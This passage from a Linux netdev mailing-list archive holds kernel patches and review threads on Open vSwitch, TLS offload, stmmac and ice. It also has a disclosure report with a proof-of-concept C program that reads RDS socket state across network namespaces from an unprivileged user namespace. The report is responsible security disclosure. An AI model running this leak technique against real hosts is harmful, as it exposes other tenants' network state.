+	struct flow_table *table;
 	int err;
 
 	if (a[OVS_DP_ATTR_USER_FEATURES]) {
@@ -1757,8 +1804,12 @@ static int ovs_dp_change(struct datapath *dp, struct nlattr *a[])
 		int err;
 		u32 cache_size;
 
+		table = ovsl_dereference(dp->table);
+		if (!table)
+			return -ENODEV;
+
 		cache_size = nla_get_u32(a[OVS_DP_ATTR_MASKS_CACHE_SIZE]);
-		err = ovs_flow_tbl_masks_cache_resize(&dp->table, cache_size);
+		err = ovs_flow_tbl_masks_cache_resize(table, cache_size);
 		if (err)
 			return err;
 	}
@@ -1810,6 +1861,7 @@ static int ovs_dp_vport_init(struct datapath *dp)
 static int ovs_dp_cmd_new(struct sk_buff *skb, struct genl_info *info)
 {
 	struct nlattr **a = info->attrs;
+	struct flow_table *table;
 	struct vport_parms parms;
 	struct sk_buff *reply;
 	struct datapath *dp;
@@ -1833,9 +1885,12 @@ static int ovs_dp_cmd_new(struct sk_buff *skb, struct genl_info *info)
 	ovs_dp_set_net(dp, sock_net(skb->sk));
 
 	/* Allocate table. */
-	err = ovs_flow_tbl_init(&dp->table);
-	if (err)
+	table = ovs_flow_tbl_alloc();
+	if (IS_ERR(table)) {
+		err = PTR_ERR(table);
 		goto err_destroy_dp;
+	}
+	rcu_assign_pointer(dp->table, table);
 
 	err = ovs_dp_stats_init(dp);
 	if (err)
@@ -1905,7 +1960,7 @@ static int ovs_dp_cmd_new(struct sk_buff *skb, struct genl_info *info)
 err_destroy_stats:
 	free_percpu(dp->stats_percpu);
 err_destroy_table:
-	ovs_flow_tbl_destroy(&dp->table);
+	call_rcu(&table->rcu, ovs_flow_tbl_destroy_rcu);
 err_destroy_dp:
 	kfree(dp);
 err_destroy_reply:
@@ -1917,7 +1972,7 @@ static int ovs_dp_cmd_new(struct sk_buff *skb, struct genl_info *info)
 /* Called with ovs_mutex. */
 static void __dp_destroy(struct datapath *dp)
 {
-	struct flow_table *table = &dp->table;
+	struct flow_table *table = ovsl_dereference(dp->table);
 	int i;
 
 	if (dp->user_features & OVS_DP_F_TC_RECIRC_SHARING)
@@ -1948,6 +2003,7 @@ static void __dp_destroy(struct datapath *dp)
 
 	/* RCU destroy the ports, meters and flow tables. */
 	call_rcu(&dp->rcu, destroy_dp_rcu);
+	call_rcu(&table->rcu, ovs_flow_tbl_destroy_rcu);
 }
 
 static int ovs_dp_cmd_del(struct sk_buff *skb, struct genl_info *info)
@@ -2585,13 +2641,16 @@ static void ovs_dp_masks_rebalance(struct work_struct *work)
 {
 	struct ovs_net *ovs_net = container_of(work, struct ovs_net,
 					       masks_rebalance.work);
+	struct flow_table *table;
 	struct datapath *dp;
 
 	ovs_lock();
-
-	list_for_each_entry(dp, &ovs_net->dps, list_node)
-		ovs_flow_masks_rebalance(&dp->table);
-
+	list_for_each_entry(dp, &ovs_net->dps, list_node) {
+		table = ovsl_dereference(dp->table);
+		if (!table)
+			continue;
+		ovs_flow_masks_rebalance(table);
+	}
 	ovs_unlock();
 
 	schedule_delayed_work(&ovs_net->masks_rebalance,
diff --git a/net/openvswitch/datapath.h b/net/openvswitch/datapath.h
index db0c3e69d66c..44773bf9f645 100644
--- a/net/openvswitch/datapath.h
+++ b/net/openvswitch/datapath.h
@@ -90,7 +90,7 @@ struct datapath {
 	struct list_head list_node;
 
 	/* Flow table. */
-	struct flow_table table;
+	struct flow_table __rcu *table;
 
 	/* Switch ports. */
 	struct hlist_head *ports;
diff --git a/net/openvswitch/flow_table.c b/net/openvswitch/flow_table.c
index 67d5b8c0fe79..3b7518e3394d 100644
--- a/net/openvswitch/flow_table.c
+++ b/net/openvswitch/flow_table.c
@@ -406,15 +406,19 @@ int ovs_flow_tbl_masks_cache_resize(struct flow_table *table, u32 size)
 	return 0;
 }
 
-int ovs_flow_tbl_init(struct flow_table *table)
+struct flow_table *ovs_flow_tbl_alloc(void)
 {
 	struct table_instance *ti, *ufid_ti;
+	struct flow_table *table;
 	struct mask_cache *mc;
 	struct mask_array *ma;
 
+	table = kzalloc_obj(*table, GFP_KERNEL);
+	if (!table)
+		return ERR_PTR(-ENOMEM);
 	mc = tbl_mask_cache_alloc(MC_DEFAULT_HASH_ENTRIES);
 	if (!mc)
-		return -ENOMEM;
+		goto free_table;
 
 	ma = tbl_mask_array_alloc(MASK_ARRAY_SIZE_MIN);
 	if (!ma)
@@ -435,7 +439,7 @@ int ovs_flow_tbl_init(struct flow_table *table)
 	table->last_rehash = jiffies;
 	table->count = 0;
 	table->ufid_count = 0;
-	return 0;
+	return table;
 
 free_ti:
 	__table_instance_destroy(ti);
@@ -443,7 +447,9 @@ int ovs_flow_tbl_init(struct flow_table *table)
 	__mask_array_destroy(ma);
 free_mask_cache:
 	__mask_cache_destroy(mc);
-	return -ENOMEM;
+free_table:
+	kfree(table);
+	return ERR_PTR(-ENOMEM);
 }
 
 static void flow_tbl_destroy_rcu_cb(struct rcu_head *rcu)
@@ -505,11 +511,11 @@ static void table_instance_destroy(struct table_instance *ti,
 	call_rcu(&ufid_ti->rcu, flow_tbl_destroy_rcu_cb);
 }
 
-/* No need for locking this function is called from RCU callback or
- * error path.
- */
-void ovs_flow_tbl_destroy(struct flow_table *table)
+/* No need for locking this function is called from RCU callback. */
+void ovs_flow_tbl_destroy_rcu(struct rcu_head *rcu)
 {
+	struct flow_table *table = container_of(rcu, struct flow_table, rcu);
+
 	struct table_instance *ti = rcu_dereference_raw(table->ti);
 	struct table_instance *ufid_ti = rcu_dereference_raw(table->ufid_ti);
 	struct mask_cache *mc = rcu_dereference_raw(table->mask_cache);
@@ -518,6 +524,7 @@ void ovs_flow_tbl_destroy(struct flow_table *table)
 	call_rcu(&mc->rcu, mask_cache_rcu_cb);
 	call_rcu(&ma->rcu, mask_array_rcu_cb);
 	table_instance_destroy(ti, ufid_ti);
+	kfree(table);
 }
 
 struct sw_flow *ovs_flow_tbl_dump_next(struct table_instance *ti,
diff --git a/net/openvswitch/flow_table.h b/net/openvswitch/flow_table.h
index f524dc3e4862..6211bcc72655 100644
--- a/net/openvswitch/flow_table.h
+++ b/net/openvswitch/flow_table.h
@@ -60,6 +60,7 @@ struct table_instance {
 };
 
 struct flow_table {
+	struct rcu_head rcu;
 	struct table_instance __rcu *ti;
 	struct table_instance __rcu *ufid_ti;
 	struct mask_cache __rcu *mask_cache;
@@ -77,9 +78,9 @@ void ovs_flow_exit(void);
 struct sw_flow *ovs_flow_alloc(void);
 void ovs_flow_free(struct sw_flow *, bool deferred);
 
-int ovs_flow_tbl_init(struct flow_table *);
+struct flow_table *ovs_flow_tbl_alloc(void);
+void ovs_flow_tbl_destroy_rcu(struct rcu_head *table);
 int ovs_flow_tbl_count(const struct flow_table *table);
-void ovs_flow_tbl_destroy(struct flow_table *table);
 int ovs_flow_tbl_flush(struct flow_table *flow_table);
 
 int ovs_flow_tbl_insert(struct flow_table *table, struct sw_flow *flow,
-- 
2.53.0


^ permalink raw reply related

* [PATCH net-next v3 0/2] net: openvswitch: Decouple flow operations from RTNL
From: Adrian Moreno @ 2026-05-05  8:42 UTC (permalink / raw)
  To: netdev
  Cc: aconole, pabeni, Adrian Moreno, open list:OPENVSWITCH, open list,
	Simon Horman

When RTNL is contended, network-related control-plane operations can be
delayed.

In such scenario, if OVS control-plane operations (such as vport
creation) take a bit longer, it's acceptable. However, flow installation
operations happen as part of upcall processing, executed in the context
of of handler threads. If they get delayed, it affects the data-plane
and can even result in packet drops.

Because flow operations also use ovs_mutex for concurrency protection and
given RTNL can nest under ovs_mutex, contention can be easily transferred
from RTNL to ovs_mutex, causing delay in flow operations.

In order to protect flow operations from RTNL delays, this series
decouples them from ovs_mutex. First, the flow_table is converted into an
rcu-protected pointer. Then two locking mechanisms are introduced: a
per-table mutex and a refcount.

The mutex protects the flow_table against concurrent modifications,
while the refcount is used to extend the lifetime of the flow_table
beyond the rcu read-protected region used to dereference it.

The following is an example of how concurrent datapath deletion and
flow modifcation would work.
Datapath deletion:

  ovs_lock();
  table = rcu_dereference_protected(dp->table, ...);
  rcu_assign_pointer(dp->table, NULL);
  ovs_flow_tbl_put(table);
  ovs_unlock();

Flow modification:

  rcu_read_lock();
  dp = get_dp(...);
  table = rcu_dereference(dp->table);
  ovs_flow_tbl_get(table);
  rcu_read_unlock();

  mutex_lock(&table->lock);
  /* Perform modifications on the flow_table */
  mutex_unlock(&table->lock);
  ovs_flow_tbl_put(table);

v3:
- Split in 2 patches (Paolo)
- Improve locking in get_dp_stats (Paolo and Sashiko)
- Use __always_unused in lockdep stubs (Paolo)
- Use READ_ONCE/WRITE_ONCE for table->count (Aaron)
- Take a reference in ovs_dp_masks_rebalance (Aaron) 

v2: Fix argument in ovs_flow_tbl_put (sparse)
    Remove rcu checks in ovs_dp_masks_rebalance

Adrian Moreno (2):
  net: openvswitch: make flow_table an rcu pointer
  net: openvswitch: decouple flow_table from ovs_mutex

 net/openvswitch/datapath.c   | 293 ++++++++++++++++++++++++-----------
 net/openvswitch/datapath.h   |   2 +-
 net/openvswitch/flow.c       |  13 +-
 net/openvswitch/flow.h       |   9 +-
 net/openvswitch/flow_table.c | 194 ++++++++++++++---------
 net/openvswitch/flow_table.h |  56 ++++++-
 6 files changed, 396 insertions(+), 171 deletions(-)

-- 
2.53.0


^ permalink raw reply

* Re: [PATCH v13 5/6] tls: add hardware offload key update support
From: Paolo Abeni @ 2026-05-05  8:41 UTC (permalink / raw)
  To: Rishikesh Jethwani, netdev
  Cc: saeedm, tariqt, mbloch, borisp, john.fastabend, kuba, sd, davem,
	edumazet, leon
In-Reply-To: <64d71f18-f86b-4fd7-a6bd-02243eed0492@redhat.com>

On 5/5/26 10:40 AM, Paolo Abeni wrote:
> On 4/29/26 8:10 PM, Rishikesh Jethwani wrote:
>> On TX, the NIC key cannot be replaced while HW-offloaded records
>> are still unacked. tls_dev_start_rekey() installs a temporary SW
>> context with the new key and redirects sendmsg through
>> tls_sw_sendmsg_locked. If no records are pending,
>> tls_dev_complete_rekey() runs inline during setsockopt; otherwise
>> clean_acked sets REKEY_READY once all old-key records are ACKed
>> and the next sendmsg completes the rekey, flushing SW records and
>> reinstalling HW offload at the current write_seq. A KeyUpdate
>> arriving while one is pending re-keys the SW AEAD in place; if the
>> HW reinstall fails the socket stays in SW mode (REKEY_FAILED).
>>
>> On RX, the NIC may have already decrypted in-flight records with
>> the old key before the peer's KeyUpdate is parsed, so the old
>> AEAD, IV and rec_seq are retained on tls_offload_context_rx.
>> tls_check_pending_rekey() invokes tls_device_rx_del_key() to drop
>> the NIC key; otherwise post-KeyUpdate records (carrying new-key
>> wire encryption) would be XOR'd with the retired key.
>> tls_device_decrypted() classifies records by old_nic_boundary:
>>
>>   - after the boundary: new-key record; drop the old key.
>>   - before, fully encrypted: advance old_rec_seq, let SW AEAD decrypt.
>>   - before, (partially) decrypted: reencrypt with the old key so SW
>>     AEAD can decrypt with the new key.
>>
>> For mixed records skb->decrypted flags can be wrong (NIC clears
>> them on auth failure); on -EBADMSG, tls_rx_rekey_retry() toggles
>> those flags, decrements old_rec_seq to reuse the nonce, and
>> retries once (gated by old_key_reencrypted).
>>
>> The new key's tls_dev_add is deferred until the old key is fully
>> consumed: tls_set_device_offload_rx() sets dev_add_pending while
>> old_aead_recv is retained, and tls_device_deferred_dev_add()
>> installs the new key once copied_seq crosses old_nic_boundary.
>>
>> Tested on Mellanox ConnectX-6 Dx (Crypto Enabled) with multiple
>> TLS 1.3 TX and RX KeyUpdate cycles.
>>
>> Signed-off-by: Rishikesh Jethwani <rjethwani@purestorage.com>
>> ---
>>  include/net/tls.h             |  84 +++-
>>  include/uapi/linux/snmp.h     |   2 +
>>  net/tls/tls.h                 |  29 +-
>>  net/tls/tls_device.c          | 753 +++++++++++++++++++++++++++++++---
>>  net/tls/tls_device_fallback.c |  24 ++
>>  net/tls/tls_main.c            |  92 +++--
>>  net/tls/tls_proc.c            |   2 +
>>  net/tls/tls_sw.c              |  76 +++-
>>  net/tls/trace.h               |  79 ++++
> 
> This patch is really big and complex and you should break it to help
> reviewers.
> 
> At very least you can split out the tracing bits and the trivial
> refactor moving around declaration and definitions to separate patches.

I should have mentioned the following in my previous email:

please wait for more feedback from Sabrina and/or Jakub before posting a
new revision.

Thanks,

Paolo


^ permalink raw reply

* Re: [PATCH v13 5/6] tls: add hardware offload key update support
From: Paolo Abeni @ 2026-05-05  8:40 UTC (permalink / raw)
  To: Rishikesh Jethwani, netdev
  Cc: saeedm, tariqt, mbloch, borisp, john.fastabend, kuba, sd, davem,
	edumazet, leon
In-Reply-To: <20260429181016.3164935-6-rjethwani@purestorage.com>

On 4/29/26 8:10 PM, Rishikesh Jethwani wrote:
> On TX, the NIC key cannot be replaced while HW-offloaded records
> are still unacked. tls_dev_start_rekey() installs a temporary SW
> context with the new key and redirects sendmsg through
> tls_sw_sendmsg_locked. If no records are pending,
> tls_dev_complete_rekey() runs inline during setsockopt; otherwise
> clean_acked sets REKEY_READY once all old-key records are ACKed
> and the next sendmsg completes the rekey, flushing SW records and
> reinstalling HW offload at the current write_seq. A KeyUpdate
> arriving while one is pending re-keys the SW AEAD in place; if the
> HW reinstall fails the socket stays in SW mode (REKEY_FAILED).
> 
> On RX, the NIC may have already decrypted in-flight records with
> the old key before the peer's KeyUpdate is parsed, so the old
> AEAD, IV and rec_seq are retained on tls_offload_context_rx.
> tls_check_pending_rekey() invokes tls_device_rx_del_key() to drop
> the NIC key; otherwise post-KeyUpdate records (carrying new-key
> wire encryption) would be XOR'd with the retired key.
> tls_device_decrypted() classifies records by old_nic_boundary:
> 
>   - after the boundary: new-key record; drop the old key.
>   - before, fully encrypted: advance old_rec_seq, let SW AEAD decrypt.
>   - before, (partially) decrypted: reencrypt with the old key so SW
>     AEAD can decrypt with the new key.
> 
> For mixed records skb->decrypted flags can be wrong (NIC clears
> them on auth failure); on -EBADMSG, tls_rx_rekey_retry() toggles
> those flags, decrements old_rec_seq to reuse the nonce, and
> retries once (gated by old_key_reencrypted).
> 
> The new key's tls_dev_add is deferred until the old key is fully
> consumed: tls_set_device_offload_rx() sets dev_add_pending while
> old_aead_recv is retained, and tls_device_deferred_dev_add()
> installs the new key once copied_seq crosses old_nic_boundary.
> 
> Tested on Mellanox ConnectX-6 Dx (Crypto Enabled) with multiple
> TLS 1.3 TX and RX KeyUpdate cycles.
> 
> Signed-off-by: Rishikesh Jethwani <rjethwani@purestorage.com>
> ---
>  include/net/tls.h             |  84 +++-
>  include/uapi/linux/snmp.h     |   2 +
>  net/tls/tls.h                 |  29 +-
>  net/tls/tls_device.c          | 753 +++++++++++++++++++++++++++++++---
>  net/tls/tls_device_fallback.c |  24 ++
>  net/tls/tls_main.c            |  92 +++--
>  net/tls/tls_proc.c            |   2 +
>  net/tls/tls_sw.c              |  76 +++-
>  net/tls/trace.h               |  79 ++++

This patch is really big and complex and you should break it to help
reviewers.

At very least you can split out the tracing bits and the trivial
refactor moving around declaration and definitions to separate patches.

/P


^ permalink raw reply

* Re: [PATCH net] net: wan: fsl_uhdlc_hdlc: fix dma_rmb usage in hdlc_rx_done
From: Christophe Leroy (CS GROUP) @ 2026-05-05  8:37 UTC (permalink / raw)
  To: Holger Brunck, netdev@vger.kernel.org
  Cc: linuxppc-dev@lists.ozlabs.org, andrew+netdev@lunn.ch,
	qiang.zhao@nxp.com, horms@kernel.org
In-Reply-To: <AM0PR06MB10396920527D0B69CC9D9BDFEF73E2@AM0PR06MB10396.eurprd06.prod.outlook.com>



Le 05/05/2026 à 10:14, Holger Brunck a écrit :
>>
>> Le 04/05/2026 à 17:56, Holger Brunck a écrit :
>>> If dma_rmb is used it has to be done after reading bd_status and
>>> checking if R_E_S is zero. Therefore we need to move it into the while loop.
>>
>> Can you give more details ? Why does dma_rmb() has to be done after reading
>> bd_status and checking if R_E_S is zero ?
>>
> 
> when R_E_S is zero in the status of the buffer descriptor it means the buffer is
> filled with data from the device.  Now the CPU owns the descriptor. Now we
> should execute the dma_rmb to be sure that we read the data correctly.
> And this we need to redo for each buffer descriptor which is filled with data,
> that’s why it must be done within the for loop and not before and after.

We enter hdlc_rx_done() after an interrupt which triggers scheduling of 
ucc_hdlc_poll(). I think dma_rmb() is needed _before_ reading the first 
status, otherwise it might read an erroneous status.

Once we are here the interrupt has been cleared so any new buffer will 
trigger a new interrupt and call again this function. Therefore I don't 
think it is worth the cost of a dma_rmb() inside the loop.

Christophe

^ permalink raw reply

* rds: possible cross netns leak via RDS_INFO_* getsockopt
From: Xie Maoyi @ 2026-05-05  8:37 UTC (permalink / raw)
  To: achender@kernel.org
  Cc: netdev@vger.kernel.org, linux-rdma@vger.kernel.org,
	rds-devel@oss.oracle.com

[-- Attachment #1: Type: text/plain, Size: 2600 bytes --]

Hi all,

We are not sure whether what we observed is a real bug or
intended behaviour. We would appreciate your view.

In net/rds/info.c, rds_info_getsockopt() dispatches to handlers
registered in rds_info_funcs[]. Each handler reads a global list
that is not pernet:

  rds_sock_info / rds6_sock_info        -> rds_sock_list
  rds_tcp_tc_info / rds6_tcp_tc_info    -> rds_tcp_tc_list
  rds_conn_info / rds6_conn_info        -> rds_conn_hash[]

None of those filter by the caller's netns. rds_info_getsockopt()
also has no netns or capable() check. rds_create() has no
capable() check either. So AF_RDS is reachable from an
unprivileged user namespace.

Our reading is that an unprivileged caller in a fresh user_ns
plus netns can read RDS state from init_net. We see this in
practice on the latest net tree.

The fields that come back include:

  RDS_INFO_SOCKETS:     bound addr, port, sock inode of every
                        RDS socket on the host
  RDS_INFO_TCP_SOCKETS: peer addr, port, last_sent_nxt,
                        last_expected_una, last_seen_una of
                        every rds-tcp connection on the host
  RDS_INFO_CONNECTIONS: peer addr, port, cp_next_tx_seq,
                        cp_next_rx_seq of every RDS connection

A small reproducer is attached as poc_rds_info.c. With rds and
rds_tcp loaded, the steps are:

  modprobe rds
  modprobe rds_tcp
  ./poc_rds_info

The PoC binds an AF_RDS socket in init_net to 127.0.0.1:4242 as
root. It then enters a fresh user_ns plus netns and opens AF_RDS
there. The attacker side reads RDS_INFO_SOCKETS and sees the
init_net socket. A run log is attached as poc_verification.log.

We are not sure if this counts as a bug or is by design. The
RDS_INFO_* interface looks diagnostic. It may be expected to be
host wide. On the other hand, AF_RDS is reachable from an
unprivileged user namespace, which is what surprised us.

Could you let us know whether you consider this worth fixing? If
yes, we have a draft patch that gates rds_info_getsockopt() to
init_net. We can send it once you confirm the direction.

Thanks for your time.

Maoyi Xie and Praveen Kakkolangara

Maoyi Xie
Nanyang Technological University
https://maoyixie.com/
________________________________

CONFIDENTIALITY: This email is intended solely for the person(s) named and may be confidential and/or privileged. If you are not the intended recipient, please delete it, notify us and do not copy, use, or disclose its contents.
Towards a sustainable earth: Print only when necessary. Thank you.

[-- Attachment #2: poc_verification.log --]
[-- Type: application/octet-stream, Size: 1183 bytes --]

[victim] AF_RDS bound 127.0.0.1:4242 in init_net (root)
[init-probe] count-probe(SOCKETS) rc=-1 errno=28 optlen-after=56
[init-probe] getsockopt(SOCKETS) rc=28 (each=28) len=28 -> 1 entries
    [0] bound=127.0.0.1:4242 inum=3913 sndbuf=106496 rcvbuf=106496
    *** LEAK: this is the victim's init_net socket (127.0.0.1:4242) — visible from attacker's fresh netns ***
[init-probe] count-probe(TCP_SOCKETS) rc=41 errno=28 optlen-after=0
[init-probe] getsockopt(COUNTERS) rc=40 (each=40) len=1680 -> 42 entries
[attacker] in netns=net:[4026532260] uid=0
[attacker] AF_RDS opened in fresh netns -> fd=4
[attacker] count-probe(SOCKETS) rc=-1 errno=28 optlen-after=56
[attacker] getsockopt(SOCKETS) rc=28 (each=28) len=28 -> 1 entries
    [0] bound=127.0.0.1:4242 inum=3913 sndbuf=106496 rcvbuf=106496
    *** LEAK: this is the victim's init_net socket (127.0.0.1:4242) — visible from attacker's fresh netns ***
[attacker] count-probe(TCP_SOCKETS) rc=41 errno=28 optlen-after=0
[attacker] getsockopt(TCP_SOCKETS) rc=41 (each=41) len=0 -> 0 entries
[attacker] count-probe(CONNECTIONS) rc=42 errno=28 optlen-after=0
[attacker] getsockopt(COUNTERS) rc=40 (each=40) len=1680 -> 42 entries

[-- Attachment #3: poc_rds_info.c --]
[-- Type: text/plain, Size: 5895 bytes --]

/* PoC v2: RDS RDS_INFO_* cross-netns getsockopt leak.
 * Build: gcc poc_rds_info.c -o poc_rds_info
 * Run as root in init_net.
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <arpa/inet.h>

#ifndef AF_RDS
#define AF_RDS 21
#endif
#ifndef SOL_RDS
#define SOL_RDS 276
#endif

#define RDS_INFO_COUNTERS         10000
#define RDS_INFO_CONNECTIONS      10001
#define RDS_INFO_SEND_MESSAGES    10003
#define RDS_INFO_RETRANS_MESSAGES 10004
#define RDS_INFO_RECV_MESSAGES    10005
#define RDS_INFO_SOCKETS          10006
#define RDS_INFO_TCP_SOCKETS      10007
#define RDS6_INFO_CONNECTIONS     10011
#define RDS6_INFO_SOCKETS         10015
#define RDS6_INFO_TCP_SOCKETS     10016

struct rds_info_socket {
    uint32_t sndbuf;
    uint32_t bound_addr;
    uint32_t connected_addr;
    uint16_t bound_port;
    uint16_t connected_port;
    uint32_t rcvbuf;
    uint64_t inum;
} __attribute__((packed));

#define VICTIM_PORT 4242

static const char *opt_name(int o) {
    switch(o){case 10000:return "COUNTERS";case 10001:return "CONNECTIONS";
    case 10003:return "SEND_MSG";case 10004:return "RETRANS_MSG";
    case 10005:return "RECV_MSG";case 10006:return "SOCKETS";
    case 10007:return "TCP_SOCKETS";case 10011:return "6_CONNECTIONS";
    case 10015:return "6_SOCKETS";case 10016:return "6_TCP_SOCKETS";}
    return "?";
}

static void probe_one(int s, int opt, const char *who) {
    char buf[8192];
    socklen_t len = sizeof(buf);
    int rc = getsockopt(s, SOL_RDS, opt, buf, &len);
    if (rc < 0) {
        fprintf(stderr, "[%s] getsockopt(%s) rc=%d errno=%d (%s)\n",
                who, opt_name(opt), rc, errno, strerror(errno));
        return;
    }
    int each = rc;
    int nentries = each ? (int)len / each : 0;
    fprintf(stderr, "[%s] getsockopt(%s) rc=%d (each=%d) len=%u -> %d entries\n",
            who, opt_name(opt), rc, each, (unsigned)len, nentries);
    if (opt == RDS_INFO_SOCKETS && nentries > 0) {
        struct rds_info_socket *si = (void *)buf;
        for (int i = 0; i < nentries; i++) {
            char b[32];
            inet_ntop(AF_INET, &si[i].bound_addr, b, sizeof(b));
            fprintf(stderr, "    [%d] bound=%s:%u inum=%llu sndbuf=%u rcvbuf=%u\n",
                    i, b, ntohs(si[i].bound_port),
                    (unsigned long long)si[i].inum,
                    si[i].sndbuf, si[i].rcvbuf);
            if (si[i].bound_addr == htonl(0x7f000001) &&
                ntohs(si[i].bound_port) == VICTIM_PORT) {
                fprintf(stderr,
                  "    *** LEAK: this is the victim's init_net socket "
                  "(127.0.0.1:%u) — visible from attacker's fresh netns ***\n",
                  VICTIM_PORT);
            }
        }
    }
}

static void probe_count(int s, int opt, const char *who) {
    /* len=0 -> kernel returns -ENOSPC + total in optlen, exposing count */
    char buf[1];
    socklen_t len = 0;
    int rc = getsockopt(s, SOL_RDS, opt, buf, &len);
    fprintf(stderr, "[%s] count-probe(%s) rc=%d errno=%d optlen-after=%u\n",
            who, opt_name(opt), rc, errno, (unsigned)len);
}

int main(void)
{
    /* Step 1: Victim socket in init_net. */
    int v = socket(AF_RDS, SOCK_SEQPACKET, 0);
    if (v < 0) { perror("victim socket(AF_RDS)"); return 2; }
    struct sockaddr_in vsin = { .sin_family = AF_INET,
                                .sin_port = htons(VICTIM_PORT) };
    inet_pton(AF_INET, "127.0.0.1", &vsin.sin_addr);
    if (bind(v, (struct sockaddr *)&vsin, sizeof(vsin)) < 0) {
        perror("victim bind"); return 2;
    }
    fprintf(stderr, "[victim] AF_RDS bound 127.0.0.1:%d in init_net (root)\n",
            VICTIM_PORT);

    /* Step 1b: probe from init_net to confirm rds_info works at all */
    int probe = socket(AF_RDS, SOCK_SEQPACKET, 0);
    if (probe >= 0) {
        probe_count(probe, RDS_INFO_SOCKETS, "init-probe");
        probe_one(probe,   RDS_INFO_SOCKETS, "init-probe");
        probe_count(probe, RDS_INFO_TCP_SOCKETS, "init-probe");
        probe_one(probe,   RDS_INFO_COUNTERS, "init-probe");
        close(probe);
    }

    /* Step 2: fork attacker into fresh user_ns + netns. */
    int pipefd[2]; pipe(pipefd);
    pid_t pid = fork();
    if (pid == 0) {
        close(pipefd[0]);
        if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
            perror("unshare"); _exit(2);
        }
        int fd; char b[64]; int n;
        if ((fd = open("/proc/self/setgroups", O_WRONLY)) >= 0) {
            write(fd, "deny", 4); close(fd);
        }
        fd = open("/proc/self/uid_map", O_WRONLY);
        n = snprintf(b, sizeof(b), "0 0 1\n"); write(fd, b, n); close(fd);
        fd = open("/proc/self/gid_map", O_WRONLY);
        n = snprintf(b, sizeof(b), "0 0 1\n"); write(fd, b, n); close(fd);

        char nsa[64]; int rl = readlink("/proc/self/ns/net", nsa, 63);
        if (rl > 0) nsa[rl] = 0;
        fprintf(stderr, "[attacker] in netns=%s uid=%u\n", nsa, getuid());

        int a = socket(AF_RDS, SOCK_SEQPACKET, 0);
        if (a < 0) { perror("[attacker] socket(AF_RDS)"); _exit(2); }
        fprintf(stderr, "[attacker] AF_RDS opened in fresh netns -> fd=%d\n", a);

        probe_count(a, RDS_INFO_SOCKETS,     "attacker");
        probe_one(a,   RDS_INFO_SOCKETS,     "attacker");
        probe_count(a, RDS_INFO_TCP_SOCKETS, "attacker");
        probe_one(a,   RDS_INFO_TCP_SOCKETS, "attacker");
        probe_count(a, RDS_INFO_CONNECTIONS, "attacker");
        probe_one(a,   RDS_INFO_COUNTERS,    "attacker");

        close(a);
        write(pipefd[1], "x", 1);
        _exit(0);
    }
    close(pipefd[1]);
    char tmp; read(pipefd[0], &tmp, 1);
    int status; waitpid(pid, &status, 0);
    close(v);
    return 0;
}

^ permalink raw reply

* Re: [REGRESSION] stmmac: Random DMA reset failure on RK3399 since v6.18
From: Thorsten Leemhuis @ 2026-05-05  8:26 UTC (permalink / raw)
  To: Jensen Huang, Russell King
  Cc: Heiner Kallweit, Andrew Lunn, regressions, netdev, LKML
In-Reply-To: <CAMpZ1qEwNOqR-KQD4kEqd93aB-TpHnG6WdQc2tXUF0aXMmw_SA@mail.gmail.com>

[Jumping in here, as there are no replies yet]

BTW, Russel, just in case you missed this: looks like this regressions
caused by a change of yours.

On 4/29/26 14:53, Jensen Huang wrote:
> 
> I'm reporting a regression on RK3399 (stmmac) observed in v6.18.24.
> When a network cable is connected during boot, the DMA reset
> occasionally fails with the error message: "Failed to reset the dma".
> 
> This appears to be a timing issue related to the EEE RX clock-stop
> logic. Based on my investigation with the RTL8211E PHY, I monitored
> the PHY register PS1R (MMD device 3, address 0x01) and observed a
> value of 0x0f40. This indicates that the PHY is in LPI mode and the RX
> clock may have already stopped.
> 
> While commit dd557266cf5f ("net: stmmac: block PHY RXC clock-stop")

Just wondering: have you tried if mainline (e.g. 7.1-rc1) is still
affected? This is something that is always a good advisable (some people
would call it required). In this case even more, as it since a while
contains a fix for the change you mentioned, that wasn't backported:
c171e679ee66d7 ("net: stmmac: Disable EEE RX clock stop when VLAN is
enabled"). But this is not my area of expertise (and in different area
of the code), so that fix might be unrelated to your issue.

Ciao, Thorsten

> ensures the clock is running before the DMA reset, my tests suggest
> that the phylink_rx_clk_stop_block() call might not provide a
> sufficiently stable RX clock in time for the immediate DMA reset that
> follows.
> 
> Since stmmac already sets mac_requires_rxc = true, I modified
> phylink_bringup_phy() to honor this flag. This avoids toggling the
> PHY's clk_stop_enable during the initialization sequence, ensuring the
> RX clock remains active and stable throughout.
> With the change below, I achieved 200/200 successful reboots with the
> cable connected (previously ~50% failure rate).
> 
> --- a/drivers/net/phy/phylink.c
> +++ b/drivers/net/phy/phylink.c
> @@ -2171,7 +2171,7 @@ static int phylink_bringup_phy(struct phylink
> *pl, struct phy_device *phy,
>      /* Allow the MAC to stop its clock if the PHY has the capability */
>      pl->mac_tx_clk_stop = phy_eee_tx_clock_stop_capable(phy) > 0;
> 
> -    if (pl->mac_supports_eee_ops) {
> +    if (pl->mac_supports_eee_ops && !pl->config->mac_requires_rxc) {
>          /* Explicitly configure whether the PHY is allowed to stop it's
>           * receive clock.
>           */
> 
> Any feedback/testing on this would be appreciated.
> 
> Best regards,
> Jensen Huang
> 


^ permalink raw reply

* Re: [PATCH net-next 14/15] ice: dpll: fix rclk pin state get and misplaced header macros
From: Ivan Vecera @ 2026-05-05  8:35 UTC (permalink / raw)
  To: Jacob Keller; +Cc: netdev, linux-kernel
In-Reply-To: <97261b38-3251-4b13-a106-67e4b4ecc8c8@intel.com>

On 5/5/26 12:39 AM, Jacob Keller wrote:
> On 4/30/2026 11:37 PM, Jacob Keller wrote:
>> From: Ivan Vecera <ivecera@redhat.com>
>>
>> Fix two issues introduced in commit ad1df4f2d591 ("ice: dpll: Support
>> E825-C SyncE and dynamic pin discovery"):
>>
>> * The refactoring of ice_dpll_rclk_state_on_pin_get() to use
>>    ice_dpll_pin_get_parent_idx() omitted the base_rclk_idx adjustment
>>    that was correctly added in the ice_dpll_rclk_state_on_pin_set() path.
>>    This breaks E810 devices where base_rclk_idx is non-zero, causing
>>    the wrong hardware index to be used for pin state lookup and incorrect
>>    recovered clock state to be reported via the DPLL subsystem. E825C is
>>    unaffected as its base_rclk_idx is 0.
>>
>> * Add bounds check against ICE_DPLL_RCLK_NUM_MAX on hw_idx after the
